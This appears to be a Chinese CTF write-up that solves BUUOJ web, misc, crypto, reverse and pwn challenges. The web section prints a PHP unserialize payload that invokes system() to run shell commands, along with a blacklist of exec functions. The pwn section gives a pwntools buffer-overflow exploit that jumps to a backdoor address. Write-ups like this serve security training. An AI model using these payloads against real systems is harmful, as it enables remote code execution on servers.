题解
web:[网鼎杯 2020 朱雀组]phpweb
打开网址，一直在刷新，并有一段警告
翻译一下
查看源码
每隔五秒钟将会提交一次form1，index.php用post方式提交了两个参数func和p，func的值为date，p的值为Y-m-d h:i:s a
执行func="data"&p="Y-m-d h:i:s a"试试
?func=md5&p=123
成功
利用file_get_contents获取index.php的源码,有func的黑名单进行过滤，gettime()使用了call_user_func()执行函数func
?func=file_get_contents&p=index.php
<?php$disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk", "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");function gettime($func, $p) {$result = call_user_func($func, $p);$a= gettype($result);if ($a == "string") {return $result;} else {return "";}}class Test {var $p = "Y-m-d h:i:s a";var $func = "date";function __destruct() {if ($this->func != "") {echo gettime($this->func, $this->p);}}}$func = $_REQUEST["func"];$p = $_REQUEST["p"];if ($func != null) {$func = strtolower($func);if (!in_array($func,$disable_fun)) {echo gettime($func, $p);}else {die("Hacker...");}}?>
</p>法一：构造序列化得到flag
<?php
class Test {var $p = "cat /flag";var $func = "system";function __destruct() {if ($this->func != "") {echo gettime($this->func, $this->p);}}}
$a = new Test();
echo serialize($a);
?>O:4:"Test":2:{s:1:"p";s:2:"ls";s:4:"func";s:6:"system";}
payload:
在源代码处构造，一直都是返回原界面
构造system("find / -name *flag*") 用find查找所有文件名包含flag的文件
?func=unserialize&p=O:4:"Test":2:{s:1:"p";s:19:"find / -name *flag*";s:4:"func";s:6:"system";}
眼睛都看花了，看了别人的wp，发现是在/tmp/flagoefiu4r93下
payload:
整不出来，尝试用readfile函数读取
func=readfile&p=/tmp/flagoefiu4r93
misc:[WUSTCTF2020]alison_likes_jojo
解压，得到一个.txt文件和两张图片
用binwalk查看一下，发现隐藏的.zip文件
binwalk -e分离文件
无法解压
010看一下是不是伪加密，不是
用ziperello暴力破解
解压得到一串字符
一开始以为是base64编码，解码三次后得到‘killerqueen’，又结合另一张图，联想到outguess
使用outguess解密
crypto:buuctf
下载附件，是两个文档
搜索了yxx加密，有点像之前做过的异性相吸
而这里给的是明文和密文，所以应该是要让我们进行加密
先使用010将明文和密文转化为二进制(binary)
异或
脚本：
a='0110110001101111011101100110010101101100011011110111011001100101011011000110111101110110011001010110110001101111011101100110010101101100011011110111011001100101011011000110111101110110011001010110110001101111011101100110010101101100011011110111011001100101'
b='0000101000000011000101110000001001010110000000010001010100010001000010100001010000001110000010100001111000110000000011100000101000011110001100000000111000001010000111100011000000010100000011000001100100001101000111110001000000001110000001100000001100011000'
c=''for i in range(len(a)):if(a[i]==b[i]):c+='0'else:c+='1'
print(c)
再把二进制转文本
reverse:[GXYCTF2019]luck_guy
下载附件，exeinfope查看，64位无壳
ida64打开
初始化v4为0，输入一个幸运数字储存在v4中,执行patch_me函数
查看patch_me函数,当输入偶数时，执行get_flag函数
查看get_flag函数
使用当前时间作为随机数种子，进行 5 次随机选择，根据不同的随机数结果执行不同的操作，其中只有在随机数为 1 时才会输出标志。最后，函数返回当前某种 “保护值” 和之前获取的 “保护值” 的异或结果
分析
unsigned __int64 get_flag()
{unsigned int v0; // eaxint i; // [rsp+4h] [rbp-3Ch]int j; // [rsp+8h] [rbp-38h]__int64 s; // [rsp+10h] [rbp-30h] BYREFchar v5; // [rsp+18h] [rbp-28h]unsigned __int64 v6; // [rsp+38h] [rbp-8h]v6 = __readfsqword(0x28u); // 获取当前的值（某种 "保护值"）v0 = time(0LL); // 获取当前时间srand(v0); // 使用当前时间作为种子初始化随机数生成器for (i = 0; i <= 4; ++i) // 循环执行 5 次{switch (rand() % 200) // 根据随机数的值决定执行哪个分支{case 1:puts("OK, it's flag:"); // 打印提示信息memset(&s, 0, 0x28uLL); // 清空内存（将 s 初始化为零）strcat((char *)&s, f1); // 将 f1 连接到 sstrcat((char *)&s, &f2); // 将 f2 连接到 sprintf("%s", (const char *)&s); // 打印最终的 flagbreak;case 2:printf("Solar not like you");break;case 3:printf("Solar want a girlfriend");break;case 4:s = 0x7F666F6067756369LL; // 将 s 设置为某个特定的长整型值v5 = 0; // 将 v5 设置为 0strcat(&f2, (const char *)&s); // 将 s 连接到 f2（可能是修改 f2 的内容）break;case 5:for (j = 0; j <= 7; ++j) // 修改 f2 数组的内容{if (j % 2 == 1)*(&f2 + j) -= 2; // 如果 j 是奇数，减去 2else--*(&f2 + j); // 如果 j 是偶数，减去 1}break;default:puts("emmm,you can't find flag 23333");break;}}return __readfsqword(0x28u) ^ v6; // 返回当前 "保护值" 和之前获取的值的异或结果
}查看f1字符串 为："GXY{do_not_"
将31行代码转换为字符串并变为小端序 为icug`ofF\x7 33行又将f2与s连接 所以f2为 "icug`of\x7F"
case1打印flag，case4定义函数，case5进行修改加密
所以顺序是case4-->case5-->case1
代码
def main():f1 = "GXY{do_not_"f2 = list("icug`of\x7F") # 将 f2 转换为列表，以便修改单个字符for j in range(8): # 循环 0 到 7if j % 2 == 1:f2[j] = chr(ord(f2[j]) - 2) # j 为奇数，减去 2else:f2[j] = chr(ord(f2[j]) - 1) # j 为偶数，减去 1print(f"flag={f1}{''.join(f2)}")if __name__ == "__main__":main()
pwn:buuctf-pwn1_sctf_2016
下载附件，exeinfope查看，32位无壳
ida打开 ,main函数里有一个vuln函数
查看vuln函数
首先，fgets 函数用来从标准输入中读取最大 31 字符（留一个位置给 \0）到数组 s 中。然后，std::string::operator= 将 s 赋值给一个 std::string 对象 input。接下来，代码执行了一些与 std::string 相关的操作，进行了一堆乱七八糟的交换
主函数上面有个get_flag函数，点进去，有system函数
查看函数地址，后门地址0x08048F13
exp
from pwn import *
buf =remote('node5.buuoj.cn',28941)
payload = b'I'*(20)+b'aaaa'+p64(0x8048F13)
buf.sendline(payload)
buf.interactive()
最终flag
知识点
1.outguess
OutGuess 是一款通用隐写术工具，可以插入隐藏信息到数据源的冗余位中。数据源的性质与 OutGuess 的核心无关。程序依赖于数据特定的处理程序，这些处理程序将提取冗余位，并在修改后将其写回。在此版本中，PNM支持 JPEG 和 JPEG 图像格式。在下一段中，图像将用作数据对象的具体示例，尽管 OutGuess 可以使用任何类型的数据，只要提供了处理程序。
而在做题过程中，当遇见有一串字符并有一张看似多余的图片的情况时，就可以用outguess试试
安装：
sudo apt-get updatesudo apt-get install outguess使用方式：
outguess -k “密码” -r 被加密.jpg 解密信息.txt
2.yxx加密方式
将明文转化为二进制-->准备一个密钥（一串固定的二进制字符串）-->将明文的二进制和密钥进行异或操作
所以解密的话就是反着来
